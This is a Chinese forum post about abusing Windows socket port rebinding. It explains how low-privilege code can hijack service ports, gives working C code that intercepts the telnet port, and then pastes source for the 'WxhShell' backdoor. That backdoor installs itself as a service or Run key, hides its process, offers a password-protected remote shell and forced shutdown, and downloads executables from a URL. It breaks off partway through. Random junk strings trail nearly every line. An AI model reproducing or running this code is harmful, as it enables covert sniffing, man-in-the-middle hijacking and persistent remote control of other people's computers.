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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,6T3:qkkvF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k 3 oR:  
;LFs.Jc<  
  saddr.sin_family = AF_INET; yex0rnQ|  
BWG#W C  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); AI*1kxR  
p M_oIH'8:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -* piC(  
{# TZFB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X2C&q$8  
} |? W  
  这意味着什么?意味着可以进行如下的攻击: K2oyHw<mk  
s#C~HK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 05[k@f$n  
b~EA&dc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mRD'@n  
mT#ebeBaf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >}!})]Xw9  
D"GQlR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =7%c*O <  
A}(Q^|6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y/6%'56uF  
%@x.km3e2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Jbqm?Fy4X  
~*^aCuq\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >Byxb./*  
{-e|x&-  
  #include P4dhP-t  
  #include 8al%F_r]  
  #include /UPe@  
  #include    ^q)s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   DH{^9HK  
  int main() ycSC'R  
  { g/e2t=qP  
  WORD wVersionRequested; |$.`4h?  
  DWORD ret; tFYo d#  
  WSADATA wsaData; Kv>P+I'|r  
  BOOL val; v?qU/  
  SOCKADDR_IN saddr; =S}SZYw l  
  SOCKADDR_IN scaddr; `l`)Cs;a  
  int err;  `\#J&N  
  SOCKET s; ! 6: X]  
  SOCKET sc; yM*f}S/ (  
  int caddsize; rIZ^ix-N  
  HANDLE mt; u8i!Fxu  
  DWORD tid;   ^|ln q.j  
  wVersionRequested = MAKEWORD( 2, 2 ); 4 .d~u@=  
  err = WSAStartup( wVersionRequested, &wsaData ); EnnE@BJ"  
  if ( err != 0 ) { u40<>A  
  printf("error!WSAStartup failed!\n"); f" g-Hbl5  
  return -1; ?'r=>'6D  
  } |$a!Zx94^  
  saddr.sin_family = AF_INET; UU" '  
   d{G*1l(X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 We*&\e+"T  
E [b6k&A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l5esx#([*R  
  saddr.sin_port = htons(23); iF'qaqHWY4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !1cVg ls|  
  { "kg;fF|  
  printf("error!socket failed!\n"); `78)|a*R.  
  return -1; [5sa1$n96G  
  } SK G!DKQ  
  val = TRUE; %Y*]eLT>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qD<\U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &5o ln@YL  
  { LyA}Nd]pyq  
  printf("error!setsockopt failed!\n"); o!>h Q#h  
  return -1; Cp.qL  
  } pLea 4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;f+bIYQz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Y5?OJO{h"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 LyWgaf#/d  
$ %BNoSK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) af<wUxM0  
  {  pu?D^h9/  
  ret=GetLastError(); ^4 ?LQ[t'  
  printf("error!bind failed!\n"); '\I!RAZ  
  return -1; urA kV#d#  
  } i"J`$u  
  listen(s,2); &R;Cm]jt  
  while(1) K \_JG $(9  
  { )7}f .  
  caddsize = sizeof(scaddr); Y$&+2w,)H,  
  //接受连接请求 s(MLBV5)w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]'!$T72  
  if(sc!=INVALID_SOCKET) 1O@ D  
  { N#zh$0!8bJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); TZYz`l+v  
  if(mt==NULL) ~gJJ@j 0n  
  { <b$.{&K  
  printf("Thread Creat Failed!\n"); Qvl3=[S  
  break; 2{fPQQ;#  
  } 8JbN&C  
  } T99\R%  
  CloseHandle(mt); .`Rju|l  
  } nYbI =_-  
  closesocket(s); <Gkmk?x`A  
  WSACleanup(); z)&ZoSXWc  
  return 0; tEE4"OAy  
  }   G~N$bF^R)  
  DWORD WINAPI ClientThread(LPVOID lpParam) !au%D?w  
  { N497"H</  
  SOCKET ss = (SOCKET)lpParam; l6#ms!e  
  SOCKET sc; |VxO ,[~  
  unsigned char buf[4096]; )CM3v L {  
  SOCKADDR_IN saddr; ?KMGk]_<  
  long num; QkU6eE<M*  
  DWORD val; (D1$&  
  DWORD ret; t0-)\kXcA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k;c>=B)e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^I]A@YNni  
  saddr.sin_family = AF_INET; %e|.a)78  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fA{t\  
  saddr.sin_port = htons(23); .tH[A[/1 a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ? vr9l7VOi  
  { hX&Jq%{oa  
  printf("error!socket failed!\n"); UK!PMkX  
  return -1; asd3J  
  } Xah-*]ET  
  val = 100; M:QM*?+)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3yp?|> e  
  { &x>8 %Q s  
  ret = GetLastError(); &2\^S+4  
  return -1; NUp,In_  
  } Cr#Z.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rIJv(&l  
  { :j}4F  
  ret = GetLastError(); ^DH*\ee  
  return -1; t+<?$I[  
  } fNnX{Wq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vE<z0l  
  { GZCXm+  
  printf("error!socket connect failed!\n"); bj$VYS"kY  
  closesocket(sc); 1Q>D^yPI[  
  closesocket(ss); ?4A$9H  
  return -1; bHf> EU  
  } ~H1 ZQ[  
  while(1) MR`lF-|a|  
  { hF;TX.Y6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 49d02AU%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6<qVeO&uZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9XEP:}5,  
  num = recv(ss,buf,4096,0); bji^b@ us_  
  if(num>0)  A4  
  send(sc,buf,num,0); $-ICTp  
  else if(num==0) S2,tv  
  break; -gK*&n~  
  num = recv(sc,buf,4096,0); vn5O8sD  
  if(num>0) }$E341@  
  send(ss,buf,num,0); _KZ&/  
  else if(num==0) ;VW->i a6  
  break;  ; V)jC  
  } &&$,BFY4  
  closesocket(ss); TcKt   
  closesocket(sc); Pg\!\5  
  return 0 ;  'VzYf^  
  } {#C)S&o)6  
(YC{BM}  
0LD$"0v/C3  
========================================================== L=#nnj-  
Uuq*;L  
下边附上一个代码,,WXhSHELL n3B#M}R  
kX)QHNzP  
========================================================== .mwB'Ll  
_6!@>`u~  
#include "stdafx.h" &$L6*+`h#  
-J' 0qN!  
#include <stdio.h> Zc|V7 +Yx  
#include <string.h> odsLFU(  
#include <windows.h> ,6AnuA  
#include <winsock2.h> U *K6FWqiB  
#include <winsvc.h> 6i`Y]\X~#  
#include <urlmon.h> > Sc/E}3  
-XNawpl`  
#pragma comment (lib, "Ws2_32.lib") UEeq@ot/4  
#pragma comment (lib, "urlmon.lib") W:hg*0z-*  
XT` 2Z=  
#define MAX_USER   100 // 最大客户端连接数 rJ=r_v  
#define BUF_SOCK   200 // sock buffer Xdl7'~k  
#define KEY_BUFF   255 // 输入 buffer ?4%@"49n X  
u0{R;)  
#define REBOOT     0   // 重启 z`esst\aV  
#define SHUTDOWN   1   // 关机  e gdbv  
*VV#o/Q p  
#define DEF_PORT   5000 // 监听端口 ;6AanwR6  
sEzl4I  
#define REG_LEN     16   // 注册表键长度 Fz.Ij'8.H  
#define SVC_LEN     80   // NT服务名长度 )1, U~+JFU  
WNo7`)Kx  
// 从dll定义API M7gb3gw6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *F;W 1TF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [M/0Qx[,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f(UB$^4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^{ {0ajI9C  
57( 5+Zme  
// wxhshell配置信息 ;>*Pwz`~jT  
struct WSCFG { ,Z$!:U  
  int ws_port;         // 监听端口 U~I y),5  
  char ws_passstr[REG_LEN]; // 口令 Rv)*Wo!L  
  int ws_autoins;       // 安装标记, 1=yes 0=no nI7v:h4  
  char ws_regname[REG_LEN]; // 注册表键名 +%  !'~  
  char ws_svcname[REG_LEN]; // 服务名 ,,=VF(@G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ny` =]BA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C/#?S=w`4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;6}> Shs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'PWX19  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Dt:NBN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0`KR8# A@  
)o`[wq  
}; ~i UG24v  
UZRN4tru6  
// default Wxhshell configuration z2~\ b3G  
struct WSCFG wscfg={DEF_PORT, ?<efKs  
    "xuhuanlingzhe", -Dy":/Bk  
    1, +F]=Z  
    "Wxhshell", BT^HlW<  
    "Wxhshell", Plj>+XRO  
            "WxhShell Service", )<(3 .M  
    "Wrsky Windows CmdShell Service", }Uue}VOA  
    "Please Input Your Password: ", J;*2[o.N  
  1, Mb:>  
  "http://www.wrsky.com/wxhshell.exe", YkF52_^_  
  "Wxhshell.exe" Rrw6\iO  
    }; 8DkZ @}  
o3cE.YUF  
// 消息定义模块 PS$g *x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0iI|eE o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^H`4BWc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4L/nEZ!Nsu  
char *msg_ws_ext="\n\rExit."; $[0\Th  
char *msg_ws_end="\n\rQuit."; Go)}%[@w  
char *msg_ws_boot="\n\rReboot..."; Ia j`u  
char *msg_ws_poff="\n\rShutdown..."; 4 z^7T  
char *msg_ws_down="\n\rSave to "; oer3DD(  
I(uM`g  
char *msg_ws_err="\n\rErr!"; 4w#:?Y _\[  
char *msg_ws_ok="\n\rOK!"; =wznkqyhi  
!CUM*<iV  
char ExeFile[MAX_PATH]; d]vom@iI  
int nUser = 0; y<kg;-& 8  
HANDLE handles[MAX_USER]; p0Pmmp7r  
int OsIsNt; -,q qQf  
i hcSSUm  
SERVICE_STATUS       serviceStatus; `_e5pW=:>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2$b JMx>  
[L=M=;{4  
// 函数声明 @k9n0Qe|F  
int Install(void); 1vinO!  
int Uninstall(void); GG %*d]  
int DownloadFile(char *sURL, SOCKET wsh); U;#G $  
int Boot(int flag); ($Q|9>5,  
void HideProc(void); [&pMU)   
int GetOsVer(void); HdRwDW@7=  
int Wxhshell(SOCKET wsl); #xh M&X  
void TalkWithClient(void *cs);  6apK  
int CmdShell(SOCKET sock); A [_T~+-G  
int StartFromService(void); S;j"@'gz9  
int StartWxhshell(LPSTR lpCmdLine); Ui'*$W]v  
?OFfU  4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vLpIVNA]]Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |]eWO#vs  
U>0bgL  
// 数据结构和表定义 y*!8[wASHq  
SERVICE_TABLE_ENTRY DispatchTable[] = e)$a;6  
{ _wUg+Xs]  
{wscfg.ws_svcname, NTServiceMain}, K0|:+s@u  
{NULL, NULL} Ctbc!<@o  
}; :A+}fB IN  
3LZvlcLb  
// 自我安装 mhI   
int Install(void) 9B/iQCFtj$  
{ -s^)HR l  
  char svExeFile[MAX_PATH]; d%:J-UtG"  
  HKEY key; Y/T-2)D  
  strcpy(svExeFile,ExeFile); @<koL  
hE7rnn{  
// 如果是win9x系统,修改注册表设为自启动 T0N6k acl  
if(!OsIsNt) { q<[o 4qY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b+$E*}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aH\A  
  RegCloseKey(key); ko"xR%Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a5pXn v]A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gOr%N!5  
  RegCloseKey(key); @M6F?;  
  return 0; :qj7i(  
    } h0")NBRV&  
  } pGr4b:N  
} <Qt9MO`a  
else { DDj:(I?,w  
cNMDI  
// 如果是NT以上系统,安装为系统服务 HMhdK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,z#S=I  
if (schSCManager!=0) 0,B"p  
{ ]"'1-h91  
  SC_HANDLE schService = CreateService Bm  4$  
  ( SPm2I(at7  
  schSCManager, <j1r6.E)  
  wscfg.ws_svcname, ?kS#g  
  wscfg.ws_svcdisp, \f7R^;`_<R  
  SERVICE_ALL_ACCESS, T(Ji%S >  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -/:K.SY,  
  SERVICE_AUTO_START, QZJnb%]  
  SERVICE_ERROR_NORMAL, KE-0/m4yJ  
  svExeFile, )hC3'B/[Y  
  NULL, e/x6{~ju^N  
  NULL, T.W^L'L `  
  NULL, lUdk^7:M  
  NULL, tT+W>oA/M  
  NULL F<b/)<Bm=  
  ); Rh%@N.Z*  
  if (schService!=0) _w2%!+'  
  { $,0EV9+af  
  CloseServiceHandle(schService); $xis4/2  
  CloseServiceHandle(schSCManager); E=91k.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \Nk578+AA  
  strcat(svExeFile,wscfg.ws_svcname); sQ+s3x1y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0"Zxbgu)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,y@WFRsx  
  RegCloseKey(key); R ^ZOcONd-  
  return 0; DB}v..  
    } *BvdL:t  
  } S VypR LVB  
  CloseServiceHandle(schSCManager); 5}a.<  
} K+ ~1z>&  
} RK p9[^/?  
ihekON":  
return 1; +U4';[LG1C  
} \-sW>LIA  
s>%.bAxc  
// 自我卸载 d[Zx [=h  
int Uninstall(void) f4VdH#eng`  
{ (}s& 84!  
  HKEY key; @$nh6l>i  
z]D/Qr  
if(!OsIsNt) { {$ > .I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dKhS;!K9p  
  RegDeleteValue(key,wscfg.ws_regname); 4q.yp0E  
  RegCloseKey(key); 5F!i%{XQvm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I@IE0+ [n  
  RegDeleteValue(key,wscfg.ws_regname); gX*j|( r  
  RegCloseKey(key); 0|g@; Pc  
  return 0; Yj'"Wg  
  } (EjlnG}5l  
} -2'+GO7G  
} CR;E*I${  
else { nw#AKtd@x  
Nw(hN+_u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qg0%r bE  
if (schSCManager!=0) (" +clb`  
{ =uEpeL~d;+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2vhP'?;K  
  if (schService!=0) HD3WsIim*  
  { Z!*6;[]SfG  
  if(DeleteService(schService)!=0) { ~NLthZ (O  
  CloseServiceHandle(schService); ?zfm"o  
  CloseServiceHandle(schSCManager); &PMfAo^  
  return 0; gk;hpO  
  } QO>';ul5  
  CloseServiceHandle(schService); 7]ySj<1  
  } aX*9T8H/  
  CloseServiceHandle(schSCManager); @pH6FXVGzt  
} ]z#)XW3#i  
} =)Fb&h]G^  
5z\,]  
return 1; F_I!qcEQ  
}  \< dg  
?uU_N$x  
// 从指定url下载文件 $zF%F.rln  
int DownloadFile(char *sURL, SOCKET wsh) l]j;0i  
{ EPR85[k  
  HRESULT hr; [Jj@A(Cz  
char seps[]= "/"; 5z2("[8L&  
char *token; FM(EOsWk  
char *file; 4S4gK   
char myURL[MAX_PATH]; G/#m. =t  
char myFILE[MAX_PATH]; Vbe@S?u-  
j@Pd" Z9  
strcpy(myURL,sURL); 7GS 4gSd3  
  token=strtok(myURL,seps); 1hSV/%v_  
  while(token!=NULL) Z>3m-:-e  
  { 1.PN_9%  
    file=token; ?\(qA+iP0  
  token=strtok(NULL,seps); m*YfbOhs#  
  } FnI}N;"  
#)@#Qd  
GetCurrentDirectory(MAX_PATH,myFILE); e\^}PU  
strcat(myFILE, "\\"); G!wb|-4<$  
strcat(myFILE, file); 6b$C/  
  send(wsh,myFILE,strlen(myFILE),0); agE-,  
send(wsh,"...",3,0); |=KzQY|u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |QMmF"0  
  if(hr==S_OK) `& '{R<cL  
return 0; #9 Fk&Lx  
else m)  rVzL  
return 1; !m%'aQHH(  
ef_H*e  
} lw99{y3<<  
A{M7   
// 系统电源模块 iOSt=-p  
int Boot(int flag) gs=ok8w  
{ "C(yuVK1G  
  HANDLE hToken; ru6M9\h*  
  TOKEN_PRIVILEGES tkp; R MOs1<D  
VW*?(,#j{  
  if(OsIsNt) { A?$-Uqb"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kjB'W zZ8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qe-Pg^PS]  
    tkp.PrivilegeCount = 1; bsr]Z&9rrk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :I7mM y*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `& h-+  
if(flag==REBOOT) { e+F $fQt>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [\Nmm4  
  return 0; 4]$OO'  
} K=E+QvSG  
else { gat;Er  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xx|D#Z}G  
  return 0; |yz o|%]3  
} -iY-rzW  
  } `#wEa'v6  
  else { q@O  
if(flag==REBOOT) { s6Dkh}:d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (5,x5l]-N  
  return 0; (6NDY5h~=n  
} Di27=_J  
else { )UpVGT)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u[PG/ploc  
  return 0; aXG|IN5 *m  
} i+_=7(e  
} "Da-e\yA  
qY'+@^<U;  
return 1; Pk;yn;  
}  7U1 M;@y  
,4`Vl<6  
// win9x进程隐藏模块 Y .cjEeL@  
void HideProc(void) 6 C O5:\  
{ Q4L=]qc T  
QBH|pr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D&I/Tbc  
  if ( hKernel != NULL ) /$]S'[5uF  
  { 4o;;'P   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k;`1Ia  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8 5)C7tJ-g  
    FreeLibrary(hKernel); F$jy~W_  
  } &|}QdbW  
^#mWV  
return; 2boyBz}=S  
} /; /:>c  
9N{?J"ido  
// 获取操作系统版本 hkm}oYW+  
int GetOsVer(void) i2rSP$j  
{ [Gv8Fn/aG  
  OSVERSIONINFO winfo; !g6=/9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mMOgx   
  GetVersionEx(&winfo); XP0;Q;WF}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rQGInzYp  
  return 1; KK1?!7  
  else a^|9rho<  
  return 0; qyFeq])  
} 4c{j9mh  
]0 = |?n$7  
// 客户端句柄模块 o<txm?+N  
int Wxhshell(SOCKET wsl) ,H,[ )8  
{  f+ !J1  
  SOCKET wsh; Y?7GFkIP$  
  struct sockaddr_in client; ~av#r=x  
  DWORD myID; jO5R~O`  
s8 MQ:eAP  
  while(nUser<MAX_USER) ` - P1Y  
{ 1KGf @u%-1  
  int nSize=sizeof(client); ,!alNNY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NqD Hrx  
  if(wsh==INVALID_SOCKET) return 1; zv0sz])  
~@ PD\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [7HBn  
if(handles[nUser]==0) 1 I.P7_/  
  closesocket(wsh); ~E y+  
else FXn98UFY  
  nUser++; "4Q_F3?_`  
  } ;|oft-y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )u28:+8  
"*j8G8  
  return 0; hY%} x5ntU  
} @mxaZ5Vv}  
(!N2,1|  
// 关闭 socket X$1YvYsID  
void CloseIt(SOCKET wsh) ~|Ln9f-g  
{ , .~ k  
closesocket(wsh); pjTJZhT2I  
nUser--; gp{C89gP  
ExitThread(0); SiaW; ks  
} /5"T46jD  
d0ht*b  
// 客户端请求句柄 !X$19"  
void TalkWithClient(void *cs) Xx[,n-rA  
{ }2e s"  
cuumQQ  
  SOCKET wsh=(SOCKET)cs; rO.[/#p\  
  char pwd[SVC_LEN]; ]Q0bL  
  char cmd[KEY_BUFF]; %xG<hNw/  
char chr[1]; nh5=0{va|L  
int i,j; _izjvg  
g] }!  
  while (nUser < MAX_USER) { 0%[IG$u)|  
kh=<M{-t  
if(wscfg.ws_passstr) { p4k}B. f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X=abaKl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cd=$XJ-b  
  //ZeroMemory(pwd,KEY_BUFF); 7}~w9jK"F  
      i=0; [ 't.x=  
  while(i<SVC_LEN) { yhbU;qEG9  
Jq(;BJ90R  
  // 设置超时 5Rs#{9YE  
  fd_set FdRead; N[\J#x!U  
  struct timeval TimeOut; czu9a"M>X  
  FD_ZERO(&FdRead); SpU|Q1Q/h  
  FD_SET(wsh,&FdRead); :Z2997@Y  
  TimeOut.tv_sec=8; @#N7M2/  
  TimeOut.tv_usec=0; PWx%~U.8~j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @MTv4eC}e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @~|;/OY>"  
x*'H@!!G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pp8G2|bz  
  pwd=chr[0]; I;E?;i  
  if(chr[0]==0xd || chr[0]==0xa) { d_pIB@J  
  pwd=0; .*9u_2<  
  break; ,"gPd!HD (  
  } u=W[ S)w  
  i++; Dqc GzTz  
    } 46e?%0(  
)$i,e`T   
  // 如果是非法用户,关闭 socket +"BJjxG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [ei~Xkzkj  
} %s+'"E"E  
R6fkc^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Nj2l>[L;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \n,L600`q  
0k16f3uI   
while(1) { *<67h*|)  
r5nHYV&7  
  ZeroMemory(cmd,KEY_BUFF); gYrB@W; 2  
+ jwk4BU  
      // 自动支持客户端 telnet标准   `|Di?4+6%  
  j=0; #|Lsi`]+  
  while(j<KEY_BUFF) { *'A*!=5(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'SlZ-SdR  
  cmd[j]=chr[0]; = <Sn&uL  
  if(chr[0]==0xa || chr[0]==0xd) { 3~3tjhw;]9  
  cmd[j]=0; NNqvjM-  
  break; k,=<G ,  
  } ]N'% l]_$  
  j++; m3pDFI  
    } W3>9GY90R  
V-go?b`  
  // 下载文件 F09%f"9  
  if(strstr(cmd,"http://")) { "h[)5V{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1`L.$T,1!  
  if(DownloadFile(cmd,wsh)) $"|r7n5[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5m0lk|`  
  else 1~~GF_l?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E%D.a=UX,  
  } |k*bWuXgLs  
  else { <W8 %eRfU  
l P=I0A-  
    switch(cmd[0]) { e<1Ewml(]  
  ?G',Qtz<K  
  // 帮助 tl!dRV92  
  case '?': { AQQa6Ce*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gM;m{gXYK  
    break; "~ $i#  
  } +CdUr~6  
  // 安装 e_|<tYx><  
  case 'i': { 98 5h]KQ  
    if(Install()) v.C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "PRHQW  
    else 8M,o)oH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q0jg(=9wP  
    break; obF|;fwPnR  
    } 71AYDO  
  // 卸载 M_%KhK  
  case 'r': { hLZf A rq}  
    if(Uninstall()) A_U=`M=-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XtZd% #2},  
    else ibQ xL3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j[dZ*Jr_  
    break; ]k]bLyz\J  
    } 3>L5TYa  
  // 显示 wxhshell 所在路径 }MMKOr(  
  case 'p': { [efU)O&  
    char svExeFile[MAX_PATH]; )6p6<y  
    strcpy(svExeFile,"\n\r"); Nb ~J'"  
      strcat(svExeFile,ExeFile); b,+KXx  
        send(wsh,svExeFile,strlen(svExeFile),0); zT&"rcT">  
    break; e }C,)   
    } *@#Gc%mGu  
  // 重启 N]iarYc  
  case 'b': { ETU-6qFtO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B%Qo6*b  
    if(Boot(REBOOT)) EU:N9oT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ub>:dNBN  
    else { Qu'#~#L`  
    closesocket(wsh); #V/{DPz  
    ExitThread(0); 52o^]  
    } BI,]pf;GWv  
    break; 9RJ#zUK  
    } oVHe<zE.  
  // 关机 `G: 1  
  case 'd': { P#!g P3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m5N,[^-  
